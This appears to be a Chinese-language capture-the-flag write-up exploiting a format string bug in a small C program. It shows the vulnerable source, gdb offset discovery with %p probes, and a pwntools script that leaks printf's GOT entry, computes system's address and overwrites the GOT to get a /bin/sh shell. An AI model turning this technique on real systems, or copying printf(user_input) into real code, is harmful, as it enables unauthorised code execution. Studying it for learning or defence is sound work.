首先是源程序:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char a[1024];
while(1)
{
memset(a,'\0',1024);
read(0,a,1024);
printf(a); //the fsb vulnerability
fflush(stdout);
}
return 0;
}
可见有一个可以利用次数无限多的fsb漏洞,fsb漏洞可以让我们做到任意读和任意写
gdb–>offset
使用gdb调试器对程序进行调试,查看在调用printf时的堆栈情况,并且构造输入,来显示fsb漏洞的offset
[-------------------------------------code-------------------------------------]
0x8048527 <main+92>: sub esp,0xc
0x804852a <main+95>: lea eax,[ebp-0x40c]
0x8048530 <main+101>: push eax
=> 0x8048531 <main+102>: call 0x8048380 <printf@plt> <><><><><><><> :)
0x8048536 <main+107>: add esp,0x10
0x8048539 <main+110>: mov eax,ds:0x804a028
0x804853e <main+115>: sub esp,0xc
0x8048541 <main+118>: push eax
Guessed arguments:
arg[0]: 0xbfffeb2c ("aaaa.1%p.2%p.3%p.4%p.5%p.6%p.7%p.8%p.9%p.10%p.11%p.12%p.13%p.14%p.15%p.\n")
[------------------------------------stack-------------------------------------]
0000| 0xbfffeb00 --> 0xbfffeb2c ("aaaa.1%p.2%p.3%p.4%p.5%p.6%p.7%p.8%p.9%p.10%p.11%p.12%p.13%p.14%p.15%p.\n")
0004| 0xbfffeb04 --> 0xbfffeb2c ("aaaa.1%p.2%p.3%p.4%p.5%p.6%p.7%p.8%p.9%p.10%p.11%p.12%p.13%p.14%p.15%p.\n")
0008| 0xbfffeb08 --> 0x400
0012| 0xbfffeb0c --> 0x174
0016| 0xbfffeb10 --> 0x174
0020| 0xbfffeb14 --> 0x44 ('D')
0024| 0xbfffeb18 --> 0x44 ('D')
构造输入与对应的输出为:
···
aaaa.1%p.2%p.3%p.4%p.5%p.6%p.7%p.8%p.9%p.10%p.11%p.12%p.13%p.14%p.15%p.
aaaa.10xbfffeb2c.20x400.30x174.40x174.50x44.60x44.70xbfffefe4.80x4.90x7.100x1af23c.110x61616161.120x7025312e.130x7025322e.140x7025332e.150x7025342e.
···
可以看到在偏移为11的位置,输出了‘aaaa’;
通过checksec命令来获取程序所使用的保护措施:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看到got表可写、堆栈没有canary保护、堆栈不可执行、没有aslr;
那么我这里选择的攻击方式是hijack函数“printf”的got表,并传递参数“/bin/sh\0”,令
printf("/bin/sh\0")==>system("/bin/sh\0")
接下来是攻击过程:
本题是在本地跑的,所以libc直接本地调用,如果是远程的话,写个小脚本leak一下就好。
elf=ELF('./lib0')
print(type(elf))
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
step1:leak the true address by “%s”
首先要了解一下如何使用fsb漏洞leak信息
printf("%s",a);
这一行c代码所进行的操作:
将a所指向的地址作为字符串的开头,直到遇到‘\0’结束
这里将使用a作为指针进行了一次寻址,因此我们可以使用这个参数a,将其赋值为“程序中已经执行过的(延迟绑定机制)某个函数的got表地址”,这样就能对这个函数的got表进行一次寻址,得到该函数的真实地址了,在这里选择printf
#leak print
print_got=elf.got['printf']
print('print_got='+hex(print_got))
io.sendline(p32(print_got)+'|'+'%11$s'+'|')
io.recvuntil('|')
print_addr=u32(io.recvuntil('|')[0:4])
print('print_addr='+hex(print_addr))
step2 calc the addr of system
利用leak出的printf真实地址以及已知的libc计算system的真实地址
system_offset=libc.symbols['system']
print_offset=libc.symbols['printf']
print('system_offset='+hex(system_offset))
print('print_offset='+hex(print_offset))
libc_addr=print_addr-print_offset
print('libc_addr='+hex(libc_addr))
system_addr=libc_addr+system_offset
step3 hijack printf --> system
pwntool自带的fsb payload生成工具,32bit下可以使用,本题是32bit的,这里直接使用工具了
如果在脚本中开启了debug模式:
context.log_level='debug'
可以看到工具构造的payload是利用了4此“%hhn”来对目标地址进行32个bit的修改;
注意如果目标地址中有‘\0’时(如0x00123456),该工具不适用(payload是以字符串的形式传递给程序的),同样的理由导致了64位程序也无法使用这个工具,64位下的地址往往都有’\0’这个字节,需要手动计算构造payload
payload=fmtstr_payload(11,{print_got:system_addr})
io.sendline(payload)
step4 getshell
io.sendline('/bin/sh\0')
io.interactive()
extra:
一个类似的题目,也是fsb漏洞的利用,但是没有while循环,也就是说正常的控制流下fsb漏洞我们只能利用1次,
因此我们利用这个漏洞,实现程序的循环
从而可以多次利用漏洞
另外step2涉及的就是leak信息以确定目标程序所在系统使用的libc,
从而实现ret2libc攻击
step1 make a circle
puts()–>echo()
than ?
you can’t use bof vulnerability to do this attack
the stack layout will be fucked up
step2 leak the libc
leak some functions is okay
use objdump -R to check the got and with “%s”
it’s easy
step3 system("/bin/sh\0");
just like fsb1
it’s easy